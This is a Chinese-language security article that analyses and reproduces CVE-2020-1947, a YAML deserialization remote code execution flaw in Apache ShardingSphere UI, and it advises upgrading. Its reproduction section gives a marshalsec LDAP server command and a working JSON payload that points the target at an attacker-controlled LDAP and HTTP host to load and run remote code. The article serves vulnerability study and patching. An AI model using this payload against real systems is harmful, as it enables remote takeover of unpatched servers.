Apache ShardingShpere漏洞分析与复现

  • A+
所属分类:安全文章
在2020年3月9日,Apache官方公开了一个远程代码执行漏洞,编号CVE-2020-1947,攻击者可以利用此漏洞执行任意代码,甚至完全控制目标主机,借着POC已被公开的机会,本期美创安全实验室带大家一起分析一波这个漏洞的成因以及POC工作原理。

一、漏洞介绍

此次的漏洞发生在Apache基金会下面的一个名叫Apache ShardingSphere项目上,这个Apache ShardingSphere其实是一套由开源的分布式数据库中间件解决方案组成的生态圈,其中包含几个比较重要的独立产品:Sharding-JDBC、Sharding-Proxy和Sharding-Sidecar。这些相互独立的产品均提供了标准化的数据分片、分布式事务和数据库治理的功能。
产品的设计固然是好的,但这次问题出现在ShardingSphere在解析某一文件(snakeyaml)时没有对其进行校验,因此出现了反序列化漏洞,从而导致可以允许用户提交恶意代码并执行的情况发生。
本次漏洞影响了整个生态圈中大多数的组件,如Sharding-JDBC、Sharding-Proxy、Sharding-UI等,影响的版本包括了小于4.0.1版本的所有Apache ShardingSphere而4.0.1版本并不受影响,因此在开始之前先提醒各位,如果有使用上述产品的请尽快升级到最新版本。

二、漏洞验证

( 1 ) 搭建环境

首先从apache官网下载ShardingSphere产品,一定要下载4.0.1以前的版本。

Apache ShardingShpere漏洞分析与复现

将压缩包解压后,进入bin目录,直接运行start.sh

Apache ShardingShpere漏洞分析与复现

直接访问127.0.0.1:8088端口,输入默认用户名和密码:admin/admin,即可进入前端页面。

Apache ShardingShpere漏洞分析与复现

在注册中心页面中,添加一个zookeeper服务端,并与其连接,至此漏洞环境已经搭建完成了。

Apache ShardingShpere漏洞分析与复现

( 2 ) 构建EXP

新建一个JAVA文件,构建一个能触发反序列化的EXP,能够执行任意指令,这里我们让其执行新建一个文件名为CVE-2020-1947的命令。根据普通的反序列exp稍微修改一下即可。

Apache ShardingShpere漏洞分析与复现

将刚刚生成的java文件进行编译,生成.class文件。

Apache ShardingShpere漏洞分析与复现

在此目录下利用Python启动一个简易的HTTPServer服务,其他机器访问8000端口就可访问到上面生成的exp。

Apache ShardingShpere漏洞分析与复现

开启了HTTPServer服务后,还需要启动IDAP服务,这里我利用了marshalsec工具,执行以下命令,开启idap:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.LDAPRefServer http://192.168.20.35:8000/#ExportObject

Apache ShardingShpere漏洞分析与复现

( 3 ) 触发漏洞

这个漏洞的触发点在配置管理页面中的添加功能上,点击添加功能,可以配置刚刚注册的zookeeper,随意输入一些参数,点击提交并抓包。

Apache ShardingShpere漏洞分析与复现

抓包后,将下面的参数替换为网上给出的poc,如下:
{ "name": "CVE-2020-1947", "ruleConfiguration": " encryptors:n   encryptor_aes:n      type: aesn      props:n        aes.key.value: 123456abcn    encryptor_md5:n      type: md5n  tables:n   t_encrypt:n      columns:n        user_id:n          plainColumn: user_plainn          cipherColumn: user_ciphern          encryptor: encryptor_aesn        order_id:n          cipherColumn: order_ciphern          encryptor: encryptor_md5", "dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpln dataSourceName: ldap://192.168.20.35:1389/ExportObjectn  autoCommit: true"}

Apache ShardingShpere漏洞分析与复现

此时已经成功触发了exp,执行了我们之前写好的代码“touch /tmp/CVE-2020-1947”,回到被控机上进行检查,果然出现了这个文件,证明漏洞触发成功。

Apache ShardingShpere漏洞分析与复现

三、漏洞原理

根据对漏洞POC的抓包我们可以知道,此漏洞的触发点在/api/schema上,且是POST方法提交。因此我们搜索其源码,找到控制着schema的控制器源码

Apache ShardingShpere漏洞分析与复现

在ShardingSchemaController.java中,根据处理POST请求的条件,定位到如下的源码,分析其代码可以发现,此函数执行了一个
shardingSchemaService.addSchemaConfiguration函数。

Apache ShardingShpere漏洞分析与复现

跟进此函数,在
ui->service->impl->ShardingSchemaServiceImpl.java
中定位到了此函数的处理方法。此函数接收三个参数,schemaName、ruleConfiguration、dataSourceConfiguration正好就是我们所输入的poc参数,分析POC可以发现,触发exp的参数是第三个,所以我们主要关注处理第三个参数的函数checkDataSourceConfiguration()。

Apache ShardingShpere漏洞分析与复现

继续根据这个函数checkDataSourceConfigure,还是在这个文件中找到了这个函数的处理方式,此函数将之前接收到的参数执行了一个新的函数
ConfigurationYamlConverter.loadDataSourceConfigurations()。

Apache ShardingShpere漏洞分析与复现

继续跟进这个函数ConfigurationYamlConverter.
loadDataSourceConfigurations,可以看到该函数会调用YamlEngine.unmarshal去处理数据,继续跟进这个函数就可以到达最终的反序列化漏洞点了。

Apache ShardingShpere漏洞分析与复现

下图为unmarsha函数的代码,可以很明显的看出yaml直接通过new Yaml().load()来加载yaml,此函数并没考虑恶意加载的情况,攻击者可以直接通过这个方法导致反序列恶意类被加载。因此我们可以构建上一部分的exp代码,触发该反序列漏洞,造成任意命令执行。

Apache ShardingShpere漏洞分析与复现



原文来源:第59号

Apache ShardingShpere漏洞分析与复现

本文始发于微信公众号(网络安全应急技术国家工程实验室):Apache ShardingShpere漏洞分析与复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: